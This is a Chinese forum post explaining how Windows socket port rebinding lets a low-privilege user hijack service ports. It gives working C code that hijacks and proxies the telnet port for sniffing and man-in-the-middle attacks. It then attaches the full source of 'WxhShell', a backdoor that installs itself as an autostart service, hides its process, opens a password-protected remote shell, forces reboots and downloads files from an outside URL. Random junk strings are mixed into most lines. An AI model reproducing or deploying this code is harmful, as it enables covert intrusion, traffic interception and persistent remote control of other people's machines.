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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _sIhQ8$:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1UX"iO x(  
WmTSxneo  
  saddr.sin_family = AF_INET; X96>N{C*>  
) Q\nR`k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [8AGW7_  
Uj&2'>MJ$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J >Zd0Dn  
WbC|2!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =M^4T?{T  
8qL*Nf  
  这意味着什么?意味着可以进行如下的攻击: +h^>?U,  
preKg $U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wvsKn YKX  
Q{6Bhx *>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PeGL Rbx34  
mxsmW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,<n >g;  
 b=v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~F?s\kp6  
"1>I/CM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /,dcr*  
YG ,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @ qWgokf  
bI.LE/yk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f$$l,wo  
:&ir5xHS  
  #include 0FmYM@Wc  
  #include :4s{?IY)l  
  #include W]MKc&R  
  #include    \xG>>A%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ogQY"c8  
  int main() ~*RG|4#  
  { Y`jvza%  
  WORD wVersionRequested; 5Z/xY &  
  DWORD ret; = #]^H c  
  WSADATA wsaData; qeLfO  
  BOOL val; .g71?^?(  
  SOCKADDR_IN saddr; C o v,#j j  
  SOCKADDR_IN scaddr; x`K<z J   
  int err; ;Ak<O[  
  SOCKET s; Yy`\??,  
  SOCKET sc; JVbR5"+.  
  int caddsize; yq+'O&+   
  HANDLE mt; ]V*s-och'  
  DWORD tid;   p>Dv&fX  
  wVersionRequested = MAKEWORD( 2, 2 ); v3!oY t:l  
  err = WSAStartup( wVersionRequested, &wsaData ); :N$^x /{  
  if ( err != 0 ) { qYFOHu  
  printf("error!WSAStartup failed!\n"); =.`(KXT  
  return -1; GlkTpX^b  
  } SV#$Cf g  
  saddr.sin_family = AF_INET; 7(cRm$)L  
   (os}s8cIh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g bDre~|  
,:POo^!/fT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5%,5Xe4p  
  saddr.sin_port = htons(23); Nn<TPT[,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \6o%gpUkD  
  { F]]1>w*/0  
  printf("error!socket failed!\n"); JDPn   
  return -1; 91%QO?hz  
  } |Iei!jm  
  val = TRUE; G J"S*30  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R-8>,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7\x7ySM  
  { 6.%M:j0 0E  
  printf("error!setsockopt failed!\n"); u^.7zL+  
  return -1; 'J\nvNm  
  } D5lzrpg_e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8R?X$=$]!.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n N.6?a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tt5t(+5j  
\Ps}1)wT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UrtA]pc3L  
  { 7<FI[  
  ret=GetLastError(); B(tLV9B3Q  
  printf("error!bind failed!\n"); eS(hLXE!7  
  return -1; y!_*CYZ~m  
  } .*FBr7rE\  
  listen(s,2); |v,%!p s  
  while(1) Gy}WZ9{  
  { co!o+jP  
  caddsize = sizeof(scaddr); P5$d#Y(=  
  //接受连接请求 F}9!k LR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dH]0 (aJ  
  if(sc!=INVALID_SOCKET) &1nZ%J9  
  { %L;z~C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p;8I@~dh  
  if(mt==NULL) gbvM2  
  { 0,a/t jSr  
  printf("Thread Creat Failed!\n"); RRSkXDU}  
  break; %[3?vX  
  } )?_x$GKY  
  } *xHj*  
  CloseHandle(mt); wXUP%i]i=  
  } '7BJ.  
  closesocket(s); ~|y$^qy?U  
  WSACleanup(); )|52B;yZx  
  return 0; 0 0JH*I  
  }   p7SX,kpt>  
  DWORD WINAPI ClientThread(LPVOID lpParam) {T;A50  
  { h\qQ%|X  
  SOCKET ss = (SOCKET)lpParam; op!ft/Yyb  
  SOCKET sc; a4a/]q4T  
  unsigned char buf[4096]; k&JB,d-mJ%  
  SOCKADDR_IN saddr; &P2tzY'  
  long num; s,z$Vt"h*K  
  DWORD val; SynL%Y9)|,  
  DWORD ret; ajr);xd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;i;2cq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FJI%+$]  
  saddr.sin_family = AF_INET; /R/\>'{E&c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f{i~hVF  
  saddr.sin_port = htons(23); _1>Xk_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) , ZisJksk  
  { ~ShoU m[  
  printf("error!socket failed!\n"); c@|!0 U%j  
  return -1; ! .q,m>?+  
  } vk:k~   
  val = 100; Q4H(JD1f)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s (2/]f$  
  { ~8oti4  
  ret = GetLastError(); pxGDzU  
  return -1; 4+tKg*|  
  } Z 91{*?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cr wui8  
  { ^i"~6QYE  
  ret = GetLastError(); ce&Q}_  
  return -1; +VSq[P  
  } DqH?:`G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `] fud{  
  { $.5f-vQp  
  printf("error!socket connect failed!\n"); ',_E;(  
  closesocket(sc); T A9Kg=_  
  closesocket(ss);  /# FU"  
  return -1; 1H-d<G0)  
  } dvc=<!"'S  
  while(1) }G/#Nb)  
  { w;OvZo|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  fOUW{s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 15l{gbCW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 swTur  
  num = recv(ss,buf,4096,0); uHQf<R$:  
  if(num>0) \3hj/   
  send(sc,buf,num,0); ahUc ;S:v#  
  else if(num==0) `w(~[`F t  
  break; m~f J_  
  num = recv(sc,buf,4096,0); ZzO^IZKlC  
  if(num>0) ,_iR  
  send(ss,buf,num,0); ^o8o  
  else if(num==0) ;1MRBk,  
  break; qib4DT$v-6  
  } Chs#}=gzi  
  closesocket(ss); =>m x>R`S  
  closesocket(sc); -Pt']07E  
  return 0 ; }od5kK;  
  } + t JEG:  
1w$X;q"  
`Ei:Z%@7C  
========================================================== xgQ&'&7l  
uLq%Nu  
下边附上一个代码,,WXhSHELL w|G4c^KH  
84f~.45  
========================================================== GE!fh1[[u  
7i##g,  
#include "stdafx.h" >g+e`!;6  
uG^RU\(  
#include <stdio.h> ]w5j?h"b  
#include <string.h> 5<77o|  
#include <windows.h> .Gcs/PN   
#include <winsock2.h> wgcKeTD9  
#include <winsvc.h> LSlYYyt  
#include <urlmon.h> Ap)pOD7  
6!A+$"  
#pragma comment (lib, "Ws2_32.lib") ;8iK];^  
#pragma comment (lib, "urlmon.lib") !g2 ~|G  
N#&/d nV  
#define MAX_USER   100 // 最大客户端连接数 ;a9`z+ K  
#define BUF_SOCK   200 // sock buffer ^77X?nDz=h  
#define KEY_BUFF   255 // 输入 buffer ,@Aeo9}  
Z~Vups#+f  
#define REBOOT     0   // 重启 O!ngQrI  
#define SHUTDOWN   1   // 关机 4iC=+YUn  
`&/~%>  
#define DEF_PORT   5000 // 监听端口 zcCGR Ee=  
.[:2M9Rx  
#define REG_LEN     16   // 注册表键长度 i"GCm`  
#define SVC_LEN     80   // NT服务名长度 _@A%t&l  
}~+_|  
// 从dll定义API lr~c w#h*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cqZuG}VR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3v,Bg4[i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?>T (  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .]y"04@]  
7 P/1'f3  
// wxhshell配置信息 b3^d!#KVM  
struct WSCFG { CZ|h` ";P2  
  int ws_port;         // 监听端口 ?:c:D5N  
  char ws_passstr[REG_LEN]; // 口令 qt,;Yxx#^  
  int ws_autoins;       // 安装标记, 1=yes 0=no ! +{$dB>a  
  char ws_regname[REG_LEN]; // 注册表键名 $e/[!3CASP  
  char ws_svcname[REG_LEN]; // 服务名 5169E*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dA[S@ysvG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :#nv:~2]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K;P<c,9X/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 35 3*D%8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $Y=xu2u)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 . yN.  
*]+5T-R% $  
}; 2y#[uSqB  
du_TiI  
// default Wxhshell configuration l<dtc[  
struct WSCFG wscfg={DEF_PORT, ^M7pCetjdW  
    "xuhuanlingzhe", oQ/ Dg+Xp  
    1, ;T\'|[bY   
    "Wxhshell", )I(2t 6i  
    "Wxhshell", HWOOw&^<  
            "WxhShell Service", Y9ipy_@_?  
    "Wrsky Windows CmdShell Service", CoTe$C7  
    "Please Input Your Password: ", ty-erdsP  
  1, XTS%:S  
  "http://www.wrsky.com/wxhshell.exe", ^7,`6g  
  "Wxhshell.exe" /6Olq6V  
    }; qg9VK'3o  
E .%_i8s  
// 消息定义模块 :~4 M9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j5~nLo2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l#^weXSlk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jx3fS2  
char *msg_ws_ext="\n\rExit."; Z?j4WJy-[  
char *msg_ws_end="\n\rQuit."; 3JXKp k?   
char *msg_ws_boot="\n\rReboot..."; /^Ng7Mi!  
char *msg_ws_poff="\n\rShutdown..."; #{x4s?   
char *msg_ws_down="\n\rSave to "; {/}p"(^  
<MzXTy3\  
char *msg_ws_err="\n\rErr!"; ]m@p? A$  
char *msg_ws_ok="\n\rOK!"; ~%d*#Yxq  
s8|F e_  
char ExeFile[MAX_PATH]; 1 ILA Utf)  
int nUser = 0; %h "%G=:  
HANDLE handles[MAX_USER]; r0j+P%  
int OsIsNt; o7 1f<&1  
;|AyP  
SERVICE_STATUS       serviceStatus; )Oix$B!-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !7y:|k,ac  
SPo}!&p$~  
// 函数声明 SnFAv7_  
int Install(void); RC+`sZ E9  
int Uninstall(void); ^;mnP=`l[  
int DownloadFile(char *sURL, SOCKET wsh); jrZH1dvE  
int Boot(int flag); 3Q~zli:  
void HideProc(void); {bMOT*X=A  
int GetOsVer(void); H:!pFj  
int Wxhshell(SOCKET wsl); W}rLHAaDh  
void TalkWithClient(void *cs); ;`:A(yN]T  
int CmdShell(SOCKET sock); z%~rQa./$  
int StartFromService(void); 8s)(e9Sr  
int StartWxhshell(LPSTR lpCmdLine); YJMaIFt  
`z~L0h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K~Z$NS^W&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |[/'W7TV%?  
BfdS3VrZ/  
// 数据结构和表定义 :<i<\TH'  
SERVICE_TABLE_ENTRY DispatchTable[] = 08F~6e6a8  
{ )bR`uV9<  
{wscfg.ws_svcname, NTServiceMain}, EJaGz\\  
{NULL, NULL} KAR **Mp+  
}; }x(Ewr  
/\d@AB^5I  
// 自我安装 ]=?.LMjnH  
int Install(void) /j;HM[  
{ h}yfL@  
  char svExeFile[MAX_PATH]; iNv"!'|  
  HKEY key; F@rx/3 [  
  strcpy(svExeFile,ExeFile); b3l~wp6>  
!1[ZfTX^a  
// 如果是win9x系统,修改注册表设为自启动 ~R  C\  
if(!OsIsNt) { rYPj3!#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GyLp&aa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X^7n/|%*.  
  RegCloseKey(key); ]Pf!wv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k4`(7Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v9XevLs  
  RegCloseKey(key); OXD*ZKi8  
  return 0; $_Q]3"U  
    } 3%YDsd vQx  
  } s>ohXISB[  
} \.Z /  
else {  LXf *  
Z:.*fs5  
// 如果是NT以上系统,安装为系统服务 h_\OtoRa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mt}3/d  
if (schSCManager!=0) 7[It  
{ U)] }EgpF  
  SC_HANDLE schService = CreateService +XpQ9Cd  
  ( CM4#Nn=i~  
  schSCManager, $<F9;Z  
  wscfg.ws_svcname, Eu`K2_b  
  wscfg.ws_svcdisp, LZ z]4Mf  
  SERVICE_ALL_ACCESS, YWhp4`m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O ~D]C  
  SERVICE_AUTO_START, k]~|!`  
  SERVICE_ERROR_NORMAL, 1!&m1  
  svExeFile, }E#1Z\)  
  NULL, :[?65q{  
  NULL, A75z/O{  
  NULL, ".sRi  
  NULL, Pv3qN{265  
  NULL }T&~DVM  
  ); XU6SYC"t%~  
  if (schService!=0) BoP,MpF  
  { F&$~]R=&  
  CloseServiceHandle(schService); $ Qcr8~+a  
  CloseServiceHandle(schSCManager); W3w$nV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G!E1N(%o  
  strcat(svExeFile,wscfg.ws_svcname); pP^5y{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h7J4 p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )M_|r2dDq3  
  RegCloseKey(key); hFMT@Gy  
  return 0; <F ?UdMT4y  
    } o?S!o}  
  } ca,U>'(y  
  CloseServiceHandle(schSCManager); ?6//'bO:%  
} KEo?Cy?%ff  
} h~s h!W8  
!'*1;OQ  
return 1; 8SoTABHV  
} ?JMy  
4%5 +  
// 自我卸载 S3ZI C\2  
int Uninstall(void) {ZKXT8'  
{ >r.W \  
  HKEY key; @P/6NMjZ^  
w3jcit|  
if(!OsIsNt) { ;TulRx]EA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =DwY-Ex  
  RegDeleteValue(key,wscfg.ws_regname); S@cKo&^  
  RegCloseKey(key); ^1;Eq>u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o ^""=Z  
  RegDeleteValue(key,wscfg.ws_regname); l!j,9wz7  
  RegCloseKey(key); :(#5%6F  
  return 0; yny1i9 y  
  } 2X6L'!=  
} sF~!qag4q'  
} /ommM  
else { ?[2>x{5Z  
i=jY l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }X~"RQf9  
if (schSCManager!=0) Rk!8eN Pf  
{ mZ~f?{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UeU`U  
  if (schService!=0) Kon|TeC>d  
  {  }A&I@2d  
  if(DeleteService(schService)!=0) { CvRO'  
  CloseServiceHandle(schService); .qs5xGg#9  
  CloseServiceHandle(schSCManager); >J/8lS{#  
  return 0; :H>0/^Mg0  
  } dgT(]H  
  CloseServiceHandle(schService); .1 jeD.l  
  } I-m Bj8^;  
  CloseServiceHandle(schSCManager); *vOk21z77d  
} UdcrX`^.  
} q_Z6s5O  
LvNulMEK  
return 1; {!^0j{T  
} AA0\C_W0p  
.+&M,% x  
// 从指定url下载文件 8/R9YiY5*  
int DownloadFile(char *sURL, SOCKET wsh) JC iB;!y  
{ vQy+^deW  
  HRESULT hr; t]E@AJO K  
char seps[]= "/"; 8=OpX,t(  
char *token; \i3)/sZ?l  
char *file; BT"n;L?[  
char myURL[MAX_PATH]; p\DSFB  
char myFILE[MAX_PATH]; 2YK2t<EO  
+mC?.B2D  
strcpy(myURL,sURL); ?{\h`+A  
  token=strtok(myURL,seps); h_6c9VI  
  while(token!=NULL) ~>XqR/v  
  { zBc |gx  
    file=token; .0p'G}1  
  token=strtok(NULL,seps); RLfB]\w  
  } i5SDy(?r  
D B(!*6#?  
GetCurrentDirectory(MAX_PATH,myFILE); eV j7%9  
strcat(myFILE, "\\"); 9# #(B  
strcat(myFILE, file); 4+MaV<!tU^  
  send(wsh,myFILE,strlen(myFILE),0); u}89v1._Jn  
send(wsh,"...",3,0); Z=oGyA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]q/USVj{  
  if(hr==S_OK) WZ=$c]gG  
return 0; OoQLR  
else &r2\P6J  
return 1; 8`_tnARIX  
#3?}MC  
} ?_eHvw  
S|F:[(WaM  
// 系统电源模块 <u/(7H  
int Boot(int flag) gux?P2f  
{ +'wO:E1( w  
  HANDLE hToken; e xkPu-[W  
  TOKEN_PRIVILEGES tkp; vRH2[{KQ9  
*,28@_EwY  
  if(OsIsNt) { `1uGU[{x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G&08Qb ,N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L_o/fTz4  
    tkp.PrivilegeCount = 1; Dt(xj}[tC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @2;cv?i)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^bq,+1;@Q  
if(flag==REBOOT) { {nw.bKq 7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "28zLo3  
  return 0; wo;OkJKF  
} ]E6r )C  
else { v-wZHkdd1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !j}L-1*{ l  
  return 0; J|vg<[  
} yCN?kHG  
  } MBAj.J  
  else { s+(@UUl  
if(flag==REBOOT) { AH_qZTv0{Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %m+7$iD  
  return 0; wB&5q!{!  
} #\_ 8y`{x  
else { SM8_C!h:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F)v  
  return 0; Z{gm4YV  
} _07$TC1  
} %NM={X|'  
Y[H769  
return 1; SlwQ_F"4L  
} +(y 8q  
Cc;8+Z=a?G  
// win9x进程隐藏模块 \>G}DGz  
void HideProc(void) Io[NN aF|  
{ .rS. >d^n  
%ZX9YuXQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DEbMb6)U  
  if ( hKernel != NULL ) w)B ?j  
  { n$v4$_qS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @b,6W wc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  g[bu9i  
    FreeLibrary(hKernel); *,IK4F6>:  
  } (w:,iw#  
&AWrM{e  
return; (m6V)y  
}  .FC+  
3 ^K#\*P  
// 获取操作系统版本 1z-A3a/-  
int GetOsVer(void) ;Rpib[m  
{ V1pBKr)v  
  OSVERSIONINFO winfo; C ocw%Yl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j>B*8*Ss  
  GetVersionEx(&winfo); XH@(V4J(.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ([}08OW@  
  return 1; Pq8oK'z -  
  else p$qk\efv*4  
  return 0; YB<nz<;JR  
} Em^~OM3U$q  
(CY D]n  
// 客户端句柄模块 w;j<$<4=7  
int Wxhshell(SOCKET wsl) ^X}r ^  
{ NkO+ )=  
  SOCKET wsh; +L`}(yLJ)9  
  struct sockaddr_in client; K3M.ZRh\;`  
  DWORD myID; %ut 8/T  
euVDrJ^  
  while(nUser<MAX_USER) h`dQ OH#  
{ V7r_Ubg@K  
  int nSize=sizeof(client); {it}\[3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [P =P8-5  
  if(wsh==INVALID_SOCKET) return 1; iC/*d  
lwrh4<~\,*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ybw\^t  
if(handles[nUser]==0) Q?1J<(oq9  
  closesocket(wsh); {H)hoAenA  
else 8FMxn{k2  
  nUser++; v/9ZTd  
  } lnHY?y7{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,?erAI  
8=TC 3]  
  return 0; vt2. i$u  
} E+qLj|IU  
iD G&Muc  
// 关闭 socket tWTHyL  
void CloseIt(SOCKET wsh) 4 ZnQpKg  
{ &:&l+  
closesocket(wsh); 2[ofz}k]r)  
nUser--; t;6<k7h  
ExitThread(0); grzmW4Cw  
} 6qFzo1LO  
,v K%e>e&  
// 客户端请求句柄 R/Bjc}J'  
void TalkWithClient(void *cs) v:QUwW  
{ q,L>PN+W  
w01[oU$x=  
  SOCKET wsh=(SOCKET)cs; os"R'GYmf  
  char pwd[SVC_LEN]; R}gdN-941  
  char cmd[KEY_BUFF]; 5=I({=/>  
char chr[1]; W+1nf:AI.  
int i,j; Y3DqsZ@  
eN.6l2-  
  while (nUser < MAX_USER) { CLzF84@W=  
9dNkKMc@  
if(wscfg.ws_passstr) {  Y4 z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~*/ >8R(Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F_'{:v1GW  
  //ZeroMemory(pwd,KEY_BUFF); bWp:!w#K  
      i=0; yO7y`;Q(sF  
  while(i<SVC_LEN) { 9)v]jk  
y EfAa6  
  // 设置超时 :XFQ}Cl  
  fd_set FdRead; 3WF]%P%  
  struct timeval TimeOut; S1Y,5,}  
  FD_ZERO(&FdRead); X}(X\rp  
  FD_SET(wsh,&FdRead); Nuot[1kS  
  TimeOut.tv_sec=8; 3-hcKE  
  TimeOut.tv_usec=0; M?sax+'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aC2Vz9e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yc]k<tQ  
0SYJ*7lPX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,+`r2}N \/  
  pwd=chr[0]; r+ 8Tp|%  
  if(chr[0]==0xd || chr[0]==0xa) { N.q~\sF^  
  pwd=0; qfl!>  
  break; b'+Wf#.]f0  
  } =t-Ud^3  
  i++; bT2c&VPCE  
    } Q2ne]MI  
v\6.#>NQ  
  // 如果是非法用户,关闭 socket a%m )8N;C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y QC.jnb2  
} A"M;kzAfHM  
!Z2h ?..O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )u Hat#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ASoBa&vX  
=<HekiYM  
while(1) { Fz(;Eo3  
W)r|9G8T  
  ZeroMemory(cmd,KEY_BUFF); >$rH,Er  
u->[ y1JY  
      // 自动支持客户端 telnet标准   Ry X11XU  
  j=0; liPrxuP`  
  while(j<KEY_BUFF) { ? 3fnt"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3l~7  
  cmd[j]=chr[0]; >x6\A7  
  if(chr[0]==0xa || chr[0]==0xd) { <Rw2F?S~)n  
  cmd[j]=0; l H_pG~  
  break; N<<wg{QO  
  } -FZNk}  
  j++; ]SA/KV   
    } :* |WE29U  
/1/'zF&R-  
  // 下载文件 8v4krz<Iq  
  if(strstr(cmd,"http://")) { N~v<8vJq`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a] c03$fK  
  if(DownloadFile(cmd,wsh)) cLL2 '  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z<d=v3q  
  else /PaS <"<P@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '>|K d{J0  
  } }KUK|p5  
  else { >?JUGXAi'{  
G L0P&$h  
    switch(cmd[0]) { U+B{\38  
  F7C+uG Ts  
  // 帮助 g; -3  
  case '?': { 4s|qxCks  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1 Lg{l  
    break; `*Wg&u  
  } ^"lEa-g&  
  // 安装 VgbT/v  
  case 'i': { M*T!nwb  
    if(Install()) a6h+?Q7uF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x76;wQ  
    else 8H};pu2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "+O/OKfR0  
    break; L^C B#5uG  
    } - 8"K|ev  
  // 卸载 zI ^:{]p  
  case 'r': { >u0XV"g$  
    if(Uninstall()) H0B=X l[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p {. 6  
    else 4!ZT_q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =s.0 f:(  
    break; mIrN~)C4\  
    } +:aNgO#e8  
  // 显示 wxhshell 所在路径 ]T5\LNyN  
  case 'p': { 2V; Dn$q  
    char svExeFile[MAX_PATH]; 2Gj)fMK38  
    strcpy(svExeFile,"\n\r"); W4P\HM>2  
      strcat(svExeFile,ExeFile); *e:I*L  
        send(wsh,svExeFile,strlen(svExeFile),0); GHi'ek<?^  
    break; Ke#Rkt  
    } M;AvOk|&  
  // 重启 fWIWRsy%  
  case 'b': { ] NW_oRH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V#Y"0l+~  
    if(Boot(REBOOT)) XCxxm3t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M.qv'zV`xG  
    else { 'O2/PU2_  
    closesocket(wsh); hfc~HKLC  
    ExitThread(0); >bmdu \j5R  
    } hH05p!2  
    break; 805oV(-  
    } rOYYZ)Qw  
  // 关机 Zf??/+[  
  case 'd': { e=# D1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M= 3w  
